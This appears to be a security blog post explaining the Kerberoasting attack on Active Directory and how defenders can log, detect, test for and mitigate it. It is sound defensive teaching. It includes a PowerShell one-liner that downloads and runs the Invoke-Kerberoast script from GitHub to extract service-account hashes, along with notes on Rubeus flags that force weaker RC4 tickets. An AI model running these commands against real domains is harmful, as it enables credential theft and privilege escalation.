You may have heard recent whispers that password cracking by way of Kerberos abuse is no longer a viable attack method. We’re here to debunk that.
In fact, Kerberoasting (T1558.003)—an attack technique first identified nearly a decade ago—is still being leveraged by ransomware groups for post-exploitation, privilege escalation, and lateral movement. Conti reportedly successfully leveraged the technique as recently as February, though the infamous Log4Shell attack is perhaps the group’s most notable case. And we all remember the SolarWinds attack back in 2020; the Nobelium group reportedly weaponized Kerberos then, too.
So, why are modern adversaries still drawn to this technique? We sat down with Tim Medin (CEO of Red Siege), the red teamer who discovered it, to discuss the appeal of such a time-tested technique and offer up guidance on how defenders can detect and test for this activity before it’s too late.
A Kerberos primer
While you may already be familiar with the Kerberos authentication protocol, rarely are its intricacies discussed to the point of deeper understanding. Kerberos and Active Directory are ubiquitous across large and small domains, so it’s not terribly surprising that adversaries seek them out to steal credentials, elevate privileges, and move laterally.
While there’s an opportunity to get much more granular on Kerberos components and how they interact with Active Directory, we’ll stick to a broad explanation of the moving parts. At a high level, Kerberos works to provide secure authentication across untrusted networks without having to send plaintext passwords over the network.
You can think of Kerberos as a back-and-forth exchange of requests and responses between three components: a client, a service, and the Key Distribution Center (KDC). Tim wrote up a fantastic technical breakdown. For the purpose of this blog, however, we’ll avoid going too deep into the mechanics of the KDC and instead focus on the authentication process by way of analogy.
Analogy: Acquiring chocolate milk at the fair
Let’s say you want to get some fresh, delicious chocolate milk at the fair. You can’t just walk in and grab a cup, you have to have a ticket to get into the fairgrounds, and then you need to acquire a ticket to present at the milk bar in order to receive your milk. Similarly, in a domain, you can’t just walk in and gain access to a resource. (Well, you shouldn’t be able to.) So, how do these steps map to the Kerberos authentication?
- Present money (username & password) and request a ticket to enter the fairgrounds at the front gate (Authentication Service request [AS REQ])
- Receive ticket to enter the fairgrounds (Authentication Service response [AS REP])
- Head to the dairy building and display your fair ticket (and money) at the counter and request a ticket for the milk bar (Ticket Granting Service request [TGS REQ])
- Receive ticket to milk bar (Ticket Granting Service response [TGS REP])
- Present your ticket to the milk bar and request the delicious chocolate milk (Authentication protocol request [AP REQ])
- Receive delicious, fresh chocolate milk (Authentication protocol response [AP REP])
What is Kerberoasting?
Kerberoasting is an attack that allows an adversary who has gained user-level access to exploit Kerberos and extract password hashes of Active Directory accounts that contain
servicePrincipalName (SPN) entries (i.e., service accounts). To do this, the adversary abuses an existing Kerberos authentication token to acquire an additional token that is more susceptible to an offline, brute force attack. If the password is successfully cracked, the adversary can again access an authentication token (via plaintext password) with potentially elevated privileges.
The ability to authenticate to a SQL service account during a Kerberoast attack is a huge win for ransomware operators because—if the compromise is successful—the impact to the target organization will be significant.
The roasting process
Kerberoasting is an accessible attack technique because it doesn’t require any special privileges once an initial account is compromised. Any valid domain-joined account can kick things off and make moves toward privilege escalation.
The fundamental steps of Kerberoasting are fairly straightforward:
- Obtain SPNs by listing one (or all) available
- Request a ticket for a service based on the SPN results
- Receive the service ticket encrypted with the hash of the service account password
- Crack the hash offline to get the plaintext password
In terms of stealth, adversaries have a choice in how they identify the SPN that will be targeted to begin with. Retrieving a list of all SPNs could be risky since it’s considered a fairly uncommon request, especially if it’s from a user who isn’t typically doing administrator-type work. Ideally, an adversary is looking for an attractive SPN (such as a web server or SQL server) that might give them access to more services, or to the data they want to steal. On top of that, offline password cracking frees the adversary from restrictions caused by account lockouts or login attempts being tracked.
SPN requests can return two types of accounts:: computer and user. When it comes to identifying the right target for Kerberoasting, an adversary is much more likely to attempt cracking the hash of a user account vs. a computer account. The reasons for this are simply timeliness and efficiency. Computer accounts are typically given a “randomly” generated, extra-long password since it doesn’t need to be remembered by a human. On the contrary, user accounts typically have shorter, less robust passwords that are more easily cracked.
Attack successful. Now what?
A successful “Kerberoast” results in obtaining the targeted service account’s password, and successfully logging into that account. An adversary’s first step will likely be to identify what privileges (if any) are now available by way of this newly compromised account and determine if this account has access to any other system that might be of interest. For example, a successful Kerberoast against a webserver’s service account would grant the adversary permissions to interact with an associated database.
Visibility, collection, and detection
It’s important to note that Kerberoasting doesn’t occur in a vacuum. The ability to carry out this technique is contingent on an adversary already having access to a compromised account in the domain. Therefore, defenders have numerous opportunities for detection and mitigation well ahead of privilege escalation and lateral movement attempts via Kerberoasting.
In order to effectively test, detect, and alert on Kerberoasting activity, we need to identify the most useful data sources and then subsequently build detections based on the data collected.
First we must identify the potential data sources needed to detect Kerberoasting. If you are unsure where to start, look at the Atomic Red Team tests below to gather an idea of the various methods an adversary could use to execute a Kerberoasting attack. MITRE ATT&CK’s data sources can also help you figure out where to start.
Data sources represent the various subjects/topics of information that can be collected by sensors or otherwise reflected in logs. They also include data components that identify specific properties/values of a data source relevant to detecting a given ATT&CK technique or sub-technique.
As a starting point—and with Atomic Red Team tests in mind—we will focus on the following sources:
When trying to detect Kerberoasting, some of the most high-fidelity data sources available are the Kerberos logs from the domain controllers. As these logs are not enabled by default, you must turn them on for all of the domain controllers in an environment. These event logs generate Windows Event IDs 4768 and 4769, which can be used to determine who requested Active Directory credentials and tickets.
As is almost always the case, command-line arguments are among the best telemetry for observing and detecting adversaries loading malicious tools into your environment, particularly when used in concert with process monitoring and other data sources. Beyond detection, command lines may also serve as pivotal evidence for investigation, especially in cases where something like a PowerShell or cURL command line includes URLs used to host remote content for download and execution.
File events can be correlated with process activity to identify interesting or suspicious processes that create, modify, delete, etc. files in suspicious or unusual locations. It can also be used to catch the low-hanging fruit of default outputs from common open-source tools.
Network connection telemetry is a great source of enrichment data for detecting Ingress Tool Transfer. The best sources of high-fidelity network logs are PCAPs, Netflow and Zeek, due to their verbosity and events logged. While there are limitations in the types of network events collected by Sysmon and EDR, they’re extremely valuable in combination with process and command-line monitoring.
Process execution and lineage are among the most common sources of telemetry that can be used to detect almost all varieties of malicious activity. Most tools like EDR and Sysmon collect process starts, stops, and parent/child relationships. Correlating that activity with other data sources, such as command-line parameters or network connections, provides additional opportunity to detect adversary behavior.
Detecting script execution and logging the contents within makes for another invaluable data source. Adversaries leverage scripts to try and evade defenses and bypass controls as they are interpreted and executed within a process context. This effectively leaves many monitoring tools blind. With the addition of AMSI or PowerShell logging, you can gain context into what activity the script was intended for.
Domain Controller event logs
Critical to the detection of potential Kerberoasting activity is the acquisition of the relevant logs themselves. By default, Windows does not automatically log the success or failure of Kerberos operations, so they must be manually enabled. We recommend enabling Kerberos auditing on all Domain Controllers (DC) via Group Policy Object (GPO). Additionally, you can enable LDAP debug logging for verbose logging of LDAP queries, which will be leveraged during any request for SPNs. However, this may result in additional resource usage when enabled, so proceed with caution.
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon
– Audit Kerberos Authentication Service: Success and Failure
– Audit Kerberos Service Ticket Operations: Success and Failure
While Kerberos event logs are one of the best sources for detecting Kerberoasting events, there is much to be gleaned from tool usage as well. We have seen countless adversaries leverage off-the-shelf, unmodified open source tools executed with default parameters on compromised endpoints. While it is trivial to alter the normal characteristics and behavior of these tools, detecting default tool usage is still a surprisingly viable method of catching low-hanging fruit.
Windows’ built-in event viewer can make it difficult to do correlation or basic alerting. We recommend forwarding these logs to some form of a SIEM, which will provide more capability for advanced searching and detection.
Per Microsoft’s documentation, Sysmon is a Windows system service and driver, which collects detailed information about process creation and utilizes XML files for configuration that enables fine-grain tuning of events. Each event collects a trove of fields that can aid detection. Below are a few examples:
Event ID 1: Process creation
Event ID 3: Network connection or Event ID 22: DNS event
Event ID 11: File create
PowerShell consistently ranks toward the top of the list of our most prevalent adversary techniques in our annual Threat Detection Report. Since there is a great breakdown in the report regarding PowerShell collection, we will briefly outline below.
PowerShell logging is not enabled by default and has the potential to generate a tremendous amount of data. We recommend determining the potential ingest volume before ingesting all of it into a SIEM.
Transcript logging provides the input and output of what is typed into an interactive instance of PowerShell. This enables defenders the ability to see the commands were executed, as well as the subsequent output that was returned.
Script Block logging
When enabled, this event will generate Event ID 4104. The output of the event provides the raw script that was executed via command line or a different means of execution.
Module logging records portions of scripts or commands executed that call built-in module functions, such as:
While it may not provide a full picture like Script Block Logging, it is still a useful data source for identifying living off the land techniques. Module logging will generate Event ID 4103.
Network traffic analysis
Since Kerberos is a network-based authentication protocol, it is also possible to detect Kerberoasting and other Kerberos-based attacks at the network level. However, it does require more overhead than traditional logging methods. If you have or can implement a tool like Zeek, you can leverage it as a data source in addition to Windows Event logs and PowerShell logging.
Zeek has built-in protocol support for Kerberos. which makes it suitable to leverage for detection. Monitoring the
kerberos.log file for authentication attempts involving an SPN using a service account will provide defenders with a starting point for an investigation.
Defense-in-depth is an important characteristic of any security posture. Windows event logs provide a core data source for detecting Kerberoasting, however, we often see adversaries use tools on compromised endpoints to continue the attack life cycle.
While detecting tool execution on a compromised endpoint can help with our detection depth, we do not recommend solely detecting tool usage. Adversaries can easily obfuscate command-line arguments, change the binary name or execute via another method. Here are a handful of detection opportunities using pseudo-analytics that you can use for Kerberoasting.
Consider it suspicious to see an unusually high number of Kerberos Ticket Requests in a short timeframe from the same endpoint. This would be especially suspicious if it was happening from a standard user’s workstation. Requests for services without a corresponding TGT, or other anomalous behavior are good indicators that require a thorough investigation.
windows_eventID == 4103
windows_eventID == 4104
setspn.exe is a built-in Windows utility for managing SPNs, and is used to view, add, modify or delete entries. In the case of Kerberoasting, SetSPN can be used to list all existing SPNs in a domain by using a specific command-line flag.
Ideally, this is used in conjunction with other detection methods to ensure you’re receiving high-fidelity alerts. The Splunk Research Team has an additional query that can be leveraged to identify discovery of SPNs using the built-in Windows tool.
RC4 ticket requests
A common detection opportunity is observing requests for SPNs utilizing the RC4 encryption type. Since RC4 is a weaker encryption method, adversaries may try using it to request tickets as it is generally faster to crack the hash offline. Using Windows event logs, look for the following:
windows_eventID == 4769
ticket_options == (
encryption_type == (
Ticket options determine the bit flags that indicate the ticket’s attributes, which is key for determining what access and capabilities the ticket could grant an adversary.
0x17 is the Encryption Type specified for RC4. However, even if RC4 is disabled and newer accounts and services use AES, Kerberoasting will still work. This just makes the cracking of the hashes potentially more difficult due to the stronger encryption method. You can also apply the same detection concepts using the Encryption Type of 0x12, which is the code for AES256.
The Splunk Threat Research Team has some great detection guidance to get started. Even if you don’t use Splunk as your SIEM or log management, the concepts are easily transferable to other platforms:
If you don’t know how to convert the Splunk Processing Language (SPL) queries to another platform, you can use Uncoder, a free online converter which attempts to convert various platform queries to other platform syntax. While it may not be perfect 1:1 mapping, it is a good place to start.
Rubeus is an extremely powerful and versatile tool primarily used for interacting with Kerberos. It can also be used as a standalone tool or executed in-memory by command and control (C2) frameworks like Covenant that support in-line execution of .NET assemblies.
By default, Rubeus’s kerberoast command takes care of the hard work by requesting the proper service ticket and attempt to roast all SPNs that are available.
While Rubeus has many different functionalities that can be easily invoked using a series of command-line flags, we’ll highlight just a few that are specific to Kerberoasting techniques in inform more detection opportunities:
tgtdeleg flag triggers Ticket Granting to force the request of RC4 encrypted tickets, instead of AES.
We also have the
rc4opsec flag. There’s a subtle difference in these two flags: one requests service tickets for accounts that have RC4 as the specified encryption type, while the other performs the same operations but for accounts without AES explicitly enabled. This provides more opportunities to request SPNs with weaker encryption types.
PowerShell: Invoke-kerberoast module
The Invoke-kerberoast module is just one of many readily available PowerShell modules. This module will request tickets for all potential Kerberoasting targets and output the hash. This detection mechanic leverages module logging and script block logging, denoted by Windows Event IDs 4103 and 4104.
windows_eventID == 4103
windows_eventID == 4104
A note on C2
Some C2 frameworks, such as Cobalt Strike, provide the ability to execute assemblies within a process’s memory space, which would bypass logging of command-line parameters and make EDR or Sysmon telemetry suddenly a lot less useful. Other frameworks, like Covenant and Empire, provide built-in modules for Kerboasting such as Rubeus and Invoke-Keroasting, respectively. As these tools can bypass process-based detections, additional data sources such as network, Windows event logs and script monitoring are crucial.
We see attackers all the time using simple methods, so don’t underestimate “non-advanced” behavior from your APT.
Testing with Atomic Red Team
Test your defenses against Kerberoasting using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.
View atomic tests for T1558.003: Kerberoasting. In most environments, these should be sufficient to generate a useful signal for defenders.
Run this test on a Windows system using PowerShell:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing) Invoke-Kerberoast | fl
What to expect
The above test will generate a list of available services and their hashes.
Atomic test #1*
EDR, Sysmon Events ID 1, and Windows Events ID 4688, 4103, 4104 should collect relevant telemetry
Command-line logging will capture the context of what is executed
EDR, Sysmon Events ID 1, and Windows Events ID 4103, 4104 should collect relevant telemetry
A connection to the Invoke-Kerberoast github page**
EDR and Sysmon Event IDs 3 and 22 should collect relevant telemetry
EDR and Windows Event IDs 4103, 4104 should collect relevant telemetry
*Other technique-specific atomic tests may generate different and/or additional areas of visibility, telemetry, and data collection
**https://raw.githubusercontent[.]com/EmpireProject/Empire/ 08cbd274bef78243d7a8ed6443b8364acd1fc48b /data/module_source/credentials/Invoke-Kerberoast.ps1
Review and repeat
Now that you have executed this test and checked for the expected results, it’s useful to answer some immediate questions:
- Were any of your actions detected?
- Were any of your actions blocked or prevented?
- Were your actions visible in logs or other defensive telemetry?
- What (if anything) in your security stack needs to be tuned to detect and/or prevent this behavior?
Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.
Mitigation tips and final thoughts
For a technique like Kerberoasting, there is no one mitigation that will prevent an attack, though there are a few things you can do to make it a lot more difficult for adversaries.
- Enable stronger encryption (such as AES) in combination with password complexity to make passwords harder to crack
- Regularly rotate passwords for service accounts to make them less susceptible to compromise
- Consider using group Managed Service Accounts to delegate password administration to the operating system
- Adopt the rule of “least privilege” for service (and user) accounts to limit your attack surface
- For a more advanced technique, try “Honeyroasting,” which leverages the same concept as a honeypot by placing an attractive service account within your domain as a target
Kerberoasting can be a low-risk, low-effort technique with a high reward if defenders forgo implementing key detection mechanisms. The detection opportunities above, coupled with Atomic Red Team tests for validation, will better prepare your organization against Kerberoasting.
Red Siege SiegeCast: Kerberos & Attacks 101
Sigma – Zeek – Kerberos RC4
Sigma and SIEM Rule Converter
Sysmon Community Guide